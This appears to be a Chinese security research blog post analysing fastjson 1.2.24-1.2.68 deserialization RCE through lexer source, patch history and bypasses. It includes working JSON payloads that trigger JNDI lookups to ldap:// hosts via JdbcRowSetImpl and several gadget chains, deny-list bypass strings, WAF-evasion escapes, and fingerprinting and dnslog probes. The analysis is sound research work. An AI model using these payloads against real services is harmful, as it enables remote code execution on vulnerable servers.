浅析 fastjson 1.2.24-1.2.68 反序列化 RCE 攻防

本文从 fastjson 底层源码、历史补丁绕过等来深入 fastjson 1.2.24-1.2.68 攻防

fastjson 词法解析

根据 @threedr3am 师傅的文章调了一遍,fastjson 核心流程大概分为四个关键点

  • 词法解析
  • 构造方法选择
  • 缓存绕过
  • 反射调用

但这一小节更多分析词法解析,更多的关键点可以参考补丁分析

分析的 POC

public class FastjsonJdbcDemo {
public static void main(String[] args) {
String jdbcPoc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://localhost:1389/#Calc\", " +
"\"autoCommit\":true}";
JSON.parseObject(jdbcPoc);
}
}

com.alibaba.fastjson.JSON#parse(java.lang.String, int)

无论是通过什么样的方式,parse 也好,parseObject 也罢,都会进行 DefaultJSONParser 的初始化

其中分为两部分,一部分调用 DefaultJSONParser 重载方法进行 DefaultJSONParser 的初始化

一部分通过 ParserConfig.getGlobalInstance() 载入默认的全局配置

public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

DefaultJSONParser 的初始化其中又分为两部分,一部分是自身 DefaultJSONParser 的初始化

另一部分是 JSONScanner 的初始化,这里第三个参数 config 来源于我们的 features,我们这里由于进行的是 JSON.parseObject(jdbcPoc); ,因此为 DEFAULT_PARSER_FEATURE 其为缺省默认的feature配置

public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}

看一下 JSONScanner 的初始化,这里跳过了 \ufeff

public JSONScanner(String input, int features) {
super(features);
this.text = input;
this.len = this.text.length();
// 当前字符索引
this.bp = -1;
this.next();
// utf-8 bom
if (this.ch == '\ufeff') {
this.next();
}
}

再看一下自身 DefaultJSONParser 的初始化

主要判断获取当前解析的字符,判断 { 或者[ 格式,并给 ((JSONLexerBase)lexer).token 附值

我们传入的 JSON,为 {} 格式,因此 ((JSONLexerBase)lexer).token = 12;

根据这段代码可以推断出 fastjson 解析 JSON 是逐个字符读取并对 token 附值的,没有解析到 {[ 就执行 nextToken 读取下一个字符串

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

}

看一下 lexer.nextToken(); 的逻辑,代码略长,主要还是对读取的字符的判断

public final void nextToken() {
this.sp = 0;

while(true) {
while(true) {
this.pos = this.bp;
if (this.ch != '/') {
if (this.ch == '"') {
this.scanString();
return;
}

if (this.ch == ',') {
this.next();
this.token = 16;
return;
}

if (this.ch >= '0' && this.ch <= '9') {
this.scanNumber();
return;
}

if (this.ch == '-') {
this.scanNumber();
return;
}

switch(this.ch) {
case '\b':
case '\t':
case '\n':
case '\f':
case '\r':
case ' ':
this.next();
break;
case '\'':
if (!this.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("Feature.AllowSingleQuotes is false");
}

this.scanStringSingleQuote();
return;
case '(':
this.next();
this.token = 10;
return;
case ')':
this.next();
this.token = 11;
return;
case ':':
this.next();
this.token = 17;
return;
case 'N':
case 'S':
case 'T':
case 'u':
this.scanIdent();
return;
case '[':
this.next();
this.token = 14;
return;
case ']':
this.next();
this.token = 15;
return;
case 'f':
this.scanFalse();
return;
case 'n':
this.scanNullOrNew();
return;
case 't':
this.scanTrue();
return;
case '{':
this.next();
this.token = 12;
return;
case '}':
this.next();
this.token = 13;
return;
default:
if (this.isEOF()) {
if (this.token == 20) {
throw new JSONException("EOF error");
}

this.token = 20;
this.pos = this.bp = this.eofPos;
} else {
if (this.ch <= 31 || this.ch == 127) {
this.next();
continue;
}

this.lexError("illegal.char", String.valueOf(this.ch));
this.next();
}

return;
}
} else {
this.skipComment();
}
}
}
}

其中对 " 有用到 this.scanString(); 处理,跟进一下

这里会对下一个字符也做判断,如果下一个字符不为 " ,就抛出 JSON 异常

"{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true

image-20210325152007802

那如果下一个字符也为 "

""{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

经过下面调用栈,token 还是会被附值为 12

nextToken:190, JSONLexerBase (com.alibaba.fastjson.parser)
nextToken:353, JSONLexerBase (com.alibaba.fastjson.parser)
parse:1338, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:11, FastjsonJdbcDemo (com.p2hm1n.fastjsondemo.basic)

如果最开始是错误的 JSON 格式,则会直接抛出异常

a{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

继续看一下com.alibaba.fastjson.parser.JSONLexerBase#nextToken()this.scanString(); 调用的 scanString 方法的后面部分

        } else if (ch == '\\') {
if (!this.hasSpecial) {
this.hasSpecial = true;
if (this.sp >= this.sbuf.length) {
int newCapcity = this.sbuf.length * 2;
if (this.sp > newCapcity) {
newCapcity = this.sp;
}

char[] newsbuf = new char[newCapcity];
System.arraycopy(this.sbuf, 0, newsbuf, 0, this.sbuf.length);
this.sbuf = newsbuf;
}

this.copyTo(this.np + 1, this.sp, this.sbuf);
}

ch = this.next();
switch(ch) {
case '"':
this.putChar('"');
break;
// 一些 case,太长了省略
default:
this.ch = ch;
throw new JSONException("unclosed string : " + ch);
case '\'':
this.putChar('\'');
break;
case '/':
this.putChar('/');
break;
case '0':
this.putChar('\u0000');
break;
case '1':
this.putChar('\u0001');
break;
case '2':
this.putChar('\u0002');
break;
case '3':
this.putChar('\u0003');
break;
case '4':
this.putChar('\u0004');
break;
case '5':
this.putChar('\u0005');
break;
case '6':
this.putChar('\u0006');
break;
case '7':
this.putChar('\u0007');
break;
case 'F':
case 'f':
this.putChar('\f');
break;
case '\\':
this.putChar('\\');
break;
case 'b':
this.putChar('\b');
break;
case 'n':
this.putChar('\n');
break;
case 'r':
this.putChar('\r');
break;
case 't':
this.putChar('\t');
break;
case 'u':
char u1 = this.next();
char u2 = this.next();
char u3 = this.next();
char u4 = this.next();
int val = Integer.parseInt(new String(new char[]{u1, u2, u3, u4}), 16);
this.putChar((char)val);
break;
case 'v':
this.putChar('\u000b');
break;
case 'x':
char x1 = this.next();
char x2 = this.next();
int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char)x_val;
this.putChar(x_char);
}
} else if (!this.hasSpecial) {
++this.sp;
} else if (this.sp == this.sbuf.length) {
this.putChar(ch);
} else {
this.sbuf[this.sp++] = ch;
}
}
}

核心是对 \\ 的处理,特别关注的是 \u\x

\u 会往后读取4个字符,然后再将 unicode 字符转为单个字符

\x 会往后读取2个字符,然后将 16 进制转为单个字符

@\u0074ype     ->     @type
@\x74ype -> @type

再回到之前的流程,根据 { ,给 token 附值为 12,之后经过如下调用栈

parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:12, FastjsonJdbcDemo (com.p2hm1n.fastjsondemo.basic)

这里根据 token 选择了 相关的 case,大概进行两步操作,第一先创建一个 JSONObject

第二步再调用 parseObject

case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

跟进 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

这里会调用 lexer.skipWhitespace();

跟进 skipWhitespace 方法,其主要跳过 为 \r \n\t\f\b/

public final void skipWhitespace() {
while(true) {
while(true) {
if (this.ch <= '/') {
if (this.ch == ' ' || this.ch == '\r' || this.ch == '\n' || this.ch == '\t' || this.ch == '\f' || this.ch == '\b') {
this.next();
continue;
}

if (this.ch == '/') {
this.skipComment();
continue;
}
}

return;
}
}
}

跟进其 this.skipComment();,主要是针对 /**/ 这类字符的处理

protected void skipComment() {
this.next();
if (this.ch != '/') {
if (this.ch == '*') {
this.next();

while(this.ch != 26) {
if (this.ch == '*') {
this.next();
if (this.ch == '/') {
this.next();
return;
}
} else {
this.next();
}
}

} else {
throw new JSONException("invalid comment");
}
} else {
do {
this.next();
} while(this.ch != '\n');

this.next();
}
}

后续如果开启了 AllowArbitraryCommas,则会忽略连续的逗号

后面会从 scanSymbol 识别出 @type 后与 DEFAULT_TYPE_KEY 比较,根据 " 取出相应的 typeName,之后载入 checkAutoType 进行检查

上述解析JSON的一些关键流程,需要注意的是对字符的处理,利用 fastjson 的这些处理特性可以绕过某些基于关键词或者黑名单的waf检测

历史补丁绕过分析

fastjson blacklist

参考这个项目:fastjson blacklist

fastjson 在1.2.42开始,把原本明文的黑名单改成了哈希过的黑名单

fastjson 在1.2.61开始,在这里,把黑名单从十进制数变成了十六进制数

fastjson 在1.2.62开始, 这里,从小写改成了大写

fastjson在1.2.67开始,将内置白名单也使用哈希的方式存放。体现在这次commit中

1.2.25

1.2.25 主要改动是引入了一个 checkAutotype 安全机制,主要核心是黑名单+白名单

enable_autotype 介绍:https://github.com/alibaba/fastjson/wiki/enable_autotype

前文中我们 ≤ 1.2.24 中用到的 POC 如下

public class FastjsonJdbcDemo {
public static void main(String[] args) {
String jdbcPoc = "{\"@\\x74ype\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://localhost:1389/#Calc\", " +
"\"autoCommit\":true}";
System.out.println(jdbcPoc);
JSON.parseObject(jdbcPoc);
}
}

运行报错信息为

在默认情况下AutoTypeSupport关闭,AutoTypeSupport 为 checkAutoType 安全机制的一部分

这个开关仅仅是checkAutoType安全机制中的一个选项,这个开关的关闭与否,并不直接作用于fastjson是否使用autoType机制

跟进源码com.alibaba.fastjson.parser.ParserConfig#checkAutoType

如果没打开 autoTypeSupport 也会抛出异常

这里用 startsWith 判断当前的 ClassName 在白名单,则 loadClass 加载类

如果在黑名单,则抛出异常

看一下相关的黑名单值

this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

如果不在黑名单,也不在白名单,最后会调用相应的 CLassLoader 加载类

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

acceptList默认情况下是一个空列表,如果想在其下利用可以根据官方文档打开 autotype和配置白名单

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().addAccept("com.sun.rowset.JdbcRowSetImpl");

1.2.41

1.2.41 出现了第一次绕过

com.alibaba.fastjson.parser.ParserConfig 中先check黑白名单

这里看一下 loadClass 里面的核心处理

上述利用了一个 replace 的特性,将 Lcom.sun.rowset.JdbcRowSetImpl; 变为了 com.sun.rowset.JdbcRowSetImpl

else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);

因此绕过了黑名单对 Class 的检测

1.2.42

fastjson 在1.2.42开始,把原本明文的黑名单改成了哈希过的黑名单

源码中在遍历黑白名单之前经过了一次 repalce,本来的意图是将 Lcom.sun.rowset.JdbcRowSetImpl; 转为 com.sun.rowset.JdbcRowSetImpl,随后通过黑名单的check抛出异常,

但如果我们这里将其双写,源码会将 LLcom.sun.rowset.JdbcRowSetImpl;; 转为 Lcom.sun.rowset.JdbcRowSetImpl;

随后经过黑白名单的遍历,由于不在黑白名单里面,还是会进入 TypeUtils.loadClass

这里是 typeName ,而不是经过一次处理的 className,因此值为 LLcom.sun.rowset.JdbcRowSetImpl;;

随后 loadClass 这里进入第一次 replace,将 LLcom.sun.rowset.JdbcRowSetImpl;; 变为了 Lcom.sun.rowset.JdbcRowSetImpl;

上述 return 了一个值后,进行了第二次 repalce,将 Lcom.sun.rowset.JdbcRowSetImpl; 变为了 com.sun.rowset.JdbcRowSetImpl

导致了绕过

1.2.43

1.2.43 已经对 LL ;; 这种格式增加了异常处理

但是还是可以用之前的 [ 绕过

public class FastjsonJdbcDemo {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jdbcPoc = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/#Calc\",\"autoCommit\":true]}}";
System.out.println(jdbcPoc);
JSON.parseObject(jdbcPoc);
}
}

这里的 [ 需要特殊构造一下,问了一下 @离怀秋 ,大概是 json 解析的时候 token 的判断问题

详细的我还没跟,暂时留个坑

1.2.44

补丁核心过滤如下

if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);

采用 POC

{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/#Calc","autoCommit":true]}}

在此处抛出异常

1.2.45

可以用 mybatis 相关链来构造,3.0.1-3.4.6 版本

核心原理还是调用 setter 造成的 JNDI 注入

demo

public class JndiDataSourceFactoryDemo {
public static void main(String[] args) {
JndiDataSourceFactory poc = new JndiDataSourceFactory();
Properties demo = new Properties();
demo.put("data_source", "ldap://localhost:1389/Calc");
poc.setProperties(demo);
}
}

JNDI 注入触发点

fastjson POC

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Calc"}}

后续针对此处的修复方式还是添加 hash 黑名单

1.2.47

前置的版本需要开启 autotype,这个版本不需要开启 autotype

fastjson POC

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/#Calc",
"autoCommit": true
}
}

无需 autotype

漏洞核心还是在 checkAutoType 方法这里

首先根据我们的POC,在 fastjson 处理流程中,进入 checkAutoType 方法之前会对我们传入的 JSON 进行一些 token 的判断和处理,最终进入 checkAutoType 方法传入的参数为 java.lang.Class

前面的判断条件多为 fastjson 限制之前被绕过版本的字符串判断

漏洞的核心在下面这一段

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}

先看第一段,跟进 getClassFromMapping

public static Class<?> getClassFromMapping(String className) {
return (Class)mappings.get(className);
}

此时关注 mappings 变量

从Mapping集合中的数据可以猜测,Mapping是用来存储一些基础的Class,以便于在反序列化处理这些基础类时提高效率。

"java.awt.Color" -> {Class@819} "class java.awt.Color"
"[char" -> {Class@335} "class [C"
"java.lang.IllegalStateException" -> {Class@608} "class java.lang.IllegalStateException"
"java.lang.IndexOutOfBoundsException" -> {Class@638} "class java.lang.IndexOutOfBoundsException"
"java.sql.Time" -> {Class@579} "class java.sql.Time"
"java.lang.NoSuchMethodException" -> {Class@679} "class java.lang.NoSuchMethodException"
"java.util.Collections$EmptyMap" -> {Class@205} "class java.util.Collections$EmptyMap"
"java.util.Date" -> {Class@580} "class java.util.Date"
"org.springframework.remoting.support.RemoteInvocation" -> {Class@645} "class org.springframework.remoting.support.RemoteInvocation"
"java.awt.Point" -> {Class@829} "class java.awt.Point"
"[boolean" -> {Class@336} "class [Z"
"float" -> {Class@832} "float"
"java.lang.AutoCloseable" -> {Class@274} "interface java.lang.AutoCloseable"
"java.lang.NullPointerException" -> {Class@247} "class java.lang.NullPointerException"
"java.lang.NoSuchFieldError" -> {Class@587} "class java.lang.NoSuchFieldError"
"java.lang.NoSuchFieldException" -> {Class@558} "class java.lang.NoSuchFieldException"
"java.util.concurrent.atomic.AtomicInteger" -> {Class@169} "class java.util.concurrent.atomic.AtomicInteger"
"java.util.Locale" -> {Class@37} "class java.util.Locale"
"java.lang.InstantiationException" -> {Class@657} "class java.lang.InstantiationException"
"java.lang.InternalError" -> {Class@338} "class java.lang.InternalError"
"java.lang.SecurityException" -> {Class@664} "class java.lang.SecurityException"
"[int" -> {Class@330} "class [I"
"[double" -> {Class@333} "class [D"
"java.lang.Cloneable" -> {Class@319} "interface java.lang.Cloneable"
"java.lang.IllegalAccessException" -> {Class@592} "class java.lang.IllegalAccessException"
"java.util.IdentityHashMap" -> {Class@646} "class java.util.IdentityHashMap"
"java.lang.LinkageError" -> {Class@309} "class java.lang.LinkageError"
"double" -> {Class@849} "double"
"byte" -> {Class@851} "byte"
"java.awt.Font" -> {Class@853} "class java.awt.Font"
"java.sql.Timestamp" -> {Class@675} "class java.sql.Timestamp"
"java.util.concurrent.ConcurrentHashMap" -> {Class@33} "class java.util.concurrent.ConcurrentHashMap"
"java.lang.StringIndexOutOfBoundsException" -> {Class@635} "class java.lang.StringIndexOutOfBoundsException"
"java.util.UUID" -> {Class@640} "class java.util.UUID"
"java.lang.Exception" -> {Class@314} "class java.lang.Exception"
"java.lang.IllegalAccessError" -> {Class@651} "class java.lang.IllegalAccessError"
"com.alibaba.fastjson.JSONObject" -> {Class@546} "class com.alibaba.fastjson.JSONObject"
"java.lang.StackOverflowError" -> {Class@304} "class java.lang.StackOverflowError"
"java.awt.Rectangle" -> {Class@863} "class java.awt.Rectangle"
"[B" -> {Class@332} "class [B"
"java.lang.TypeNotPresentException" -> {Class@606} "class java.lang.TypeNotPresentException"
"org.springframework.util.LinkedCaseInsensitiveMap" -> {Class@636} "class org.springframework.util.LinkedCaseInsensitiveMap"
"[C" -> {Class@335} "class [C"
"[D" -> {Class@333} "class [D"
"java.text.SimpleDateFormat" -> {Class@667} "class java.text.SimpleDateFormat"
"java.util.HashMap" -> {Class@188} "class java.util.HashMap"
"[F" -> {Class@334} "class [F"
"long" -> {Class@873} "long"
"[I" -> {Class@330} "class [I"
"java.util.TreeSet" -> {Class@634} "class java.util.TreeSet"
"[short" -> {Class@331} "class [S"
"[J" -> {Class@329} "class [J"
"java.lang.VerifyError" -> {Class@604} "class java.lang.VerifyError"
"java.util.LinkedHashMap" -> {Class@92} "class java.util.LinkedHashMap"
"java.util.HashSet" -> {Class@7} "class java.util.HashSet"
"java.lang.IllegalMonitorStateException" -> {Class@303} "class java.lang.IllegalMonitorStateException"
"[byte" -> {Class@332} "class [B"
"java.util.Calendar" -> {Class@581} "class java.util.Calendar"
"org.springframework.remoting.support.RemoteInvocationResult" -> {Class@582} "class org.springframework.remoting.support.RemoteInvocationResult"
"[S" -> {Class@331} "class [S"
"java.lang.StackTraceElement" -> {Class@637} "class java.lang.StackTraceElement"
"java.lang.NoClassDefFoundError" -> {Class@578} "class java.lang.NoClassDefFoundError"
"java.util.Hashtable" -> {Class@289} "class java.util.Hashtable"
"java.util.WeakHashMap" -> {Class@162} "class java.util.WeakHashMap"
"java.util.LinkedHashSet" -> {Class@641} "class java.util.LinkedHashSet"
"[Z" -> {Class@336} "class [Z"
"java.lang.NegativeArraySizeException" -> {Class@562} "class java.lang.NegativeArraySizeException"
"java.lang.IllegalThreadStateException" -> {Class@571} "class java.lang.IllegalThreadStateException"
"[long" -> {Class@329} "class [J"
"java.lang.NoSuchMethodError" -> {Class@192} "class java.lang.NoSuchMethodError"
"java.lang.NumberFormatException" -> {Class@619} "class java.lang.NumberFormatException"
"java.lang.RuntimeException" -> {Class@313} "class java.lang.RuntimeException"
"java.lang.IllegalArgumentException" -> {Class@70} "class java.lang.IllegalArgumentException"
"int" -> {Class@900} "int"
"java.sql.Date" -> {Class@678} "class java.sql.Date"
"java.util.concurrent.TimeUnit" -> {Class@591} "class java.util.concurrent.TimeUnit"
"java.util.concurrent.atomic.AtomicLong" -> {Class@100} "class java.util.concurrent.atomic.AtomicLong"
"java.util.concurrent.ConcurrentSkipListMap" -> {Class@905} "class java.util.concurrent.ConcurrentSkipListMap"
"boolean" -> {Class@907} "boolean"
"java.util.concurrent.ConcurrentSkipListSet" -> {Class@909} "class java.util.concurrent.ConcurrentSkipListSet"
"java.util.TreeMap" -> {Class@654} "class java.util.TreeMap"
"java.lang.InstantiationError" -> {Class@666} "class java.lang.InstantiationError"
"java.lang.InterruptedException" -> {Class@213} "class java.lang.InterruptedException"
"[float" -> {Class@334} "class [F"
"char" -> {Class@915} "char"
"short" -> {Class@917} "short"
"java.lang.Object" -> {Class@328} "class java.lang.Object"
"java.util.BitSet" -> {Class@38} "class java.util.BitSet"
"java.lang.OutOfMemoryError" -> {Class@305} "class java.lang.OutOfMemoryError"
"org.springframework.util.LinkedMultiValueMap" -> {Class@589} "class org.springframework.util.LinkedMultiValueMap"

此时 java.lang.Class 并不在Mappings的键中,因此也就返回 null 并附值给 clazz

进入第二段代码的判断

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

跟进 findClass,这里遍历 buckets 与传入的 key 比较,如果两者相同则返回 Class 对象

public Class findClass(String keyString) {
for(int i = 0; i < this.buckets.length; ++i) {
IdentityHashMap.Entry bucket = this.buckets[i];
if (bucket != null) {
for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
Object key = bucket.key;
if (key instanceof Class) {
Class clazz = (Class)key;
String className = clazz.getName();
if (className.equals(keyString)) {
return clazz;
}
}
}
}
}

通过FastJson作者关于buckets集合的注释猜测,buckets是一个用于并发的IdentityHashMap。

我们构造的typeName(@type指定的”java.lang.Class”)被findClass方法匹配到了,因此java.lang.Class类对象被返回。

最终通过第三段返回 clazz,为 java.lang.Class

上图有一个关键的变量是 expectClass ,这也就是我们传入的 parseObject 后面有没有第二个参数

回顾一下上文中的Mapping集合和buckets集合,Fastjson为什么要将用户传入的@type字段指定的字符串在这两个集合中匹配呢?

Mapping集合则是用来存储基础的Class,如果@type字段传入的字符串如果对应了基础Class,程序则直接找到其类对象并将其类对象返回,从而跳过了checkAutoType后续的部分校验过程。而buckets集合则是用于并发操作。

但无论Mapping集合与buckets集合实际作用是什么,但凡用户传入的@type字段字段值在两个集合中任意一个中,且程序使用JSON.parseObject(payload);这样的形式解析字符串(确保expectClass为空,防止进入上图957行if分支),checkAutoType都将会直接将其对应的Class返回。

下一个关键点在 deserializer 调用 deserialize 这里,通过fastjson 流程分析我们知道这里完成了一些反射调用的操作

obj = deserializer.deserialze(this, clazz, fieldName);

跟进 deserialze

如果取出的 json 字符串 key 的值不是 val,则抛出异常

后续将 val 的值附值给 objVal 变量

后续将值转为 String 类型

后续经过一大段 clazz 的判断,最终进入 Class.class 这里的判断语句

if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

还是进入了 TypeUtils.loadClass,这里根据 ClassName 的变量获取到了对应的 Class 对象

之后会进行一个最关键的判断,会判断 cache 的值,如果此时 cache的值为 True(默认为 True),那么则会调用 mappings.put(className, clazz);

这里加入到了 mappings 集合中

随后进行第二段 JSON 的解析

此时还是经过前面的 token 判断的流程,最终进入到 checkAutotype 方法进行判断,这里由于上一段 JSON 中已经将 com.sun.rowset.JdbcRowSetImpl 添加到 mappings 里面了,调用 getClassFromMapping 返回了 clazz

随后不用加载黑白名单直接返回 clazz

随后在 obj = deserializer.deserialze(this, clazz, fieldName); 处调用

调用栈

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:759, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1283, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
main:11, FastjsonJdbcDemo (com.p2hm1n.fastjsondemo.basic)

后续修复在 1.2.48,在MiscCodec,处理Class类的地方,设置了 cache 为false

1.2.62

≤ 1.2.62

需要开启 AutoType,另需 xbean 依赖

<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>3.4</version>
</dependency>
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://localhost:1389/#Calc"}"

后续修复靠黑名单

1.2.66

更多的链,未测试,需要依赖

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

后续修复靠黑名单

1.2.68

另开一文分析~

fastjson tips

fastjson 获取版本号

原文:https://b1ue.cn/archives/402.html

核心是通过触发 JavaBeanDeserializer 里面的 异常,输出 VERSION 常量

POC

不指定期望类,通过 AutoCloseable 触发

{"@type":"java.lang.AutoCloseable"

指定期望类,直接触发

POC

"a"

dnslog 检测 fastjson

https://github.com/alibaba/fastjson/issues/3077

1.2.67 及之前,能用 autoType 的前提下

  • java.net.Inet[4|6]Address
  • java.net.InetSocketAddress
  • java.net.URL
{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}

{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}

{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}

{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}

{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}

checkAutoType 安全机制

原文:https://xz.aliyun.com/t/8140

有两种情况不会调用到 checkAutoType

  1. JSON 不包含 @type
  2. @type 的 value 和 expectClass 相同

原文中研究四种情况,详情参看原文

autoTypeSupport值 parseObject(String text, Class<T> clazz)/ parseObject(String text)
情况一 False parseObject(String text)
情况二 False parseObject(String text, Class<T> clazz)
情况三 True parseObject(String text)
情况四 True parseObject(String text, Class<T> clazz)

REF

https://xz.aliyun.com/t/7027

https://xz.aliyun.com/t/7107

https://paper.seebug.org/1319/

https://paper.seebug.org/1274/

https://paper.seebug.org/1236/

https://paper.seebug.org/1192/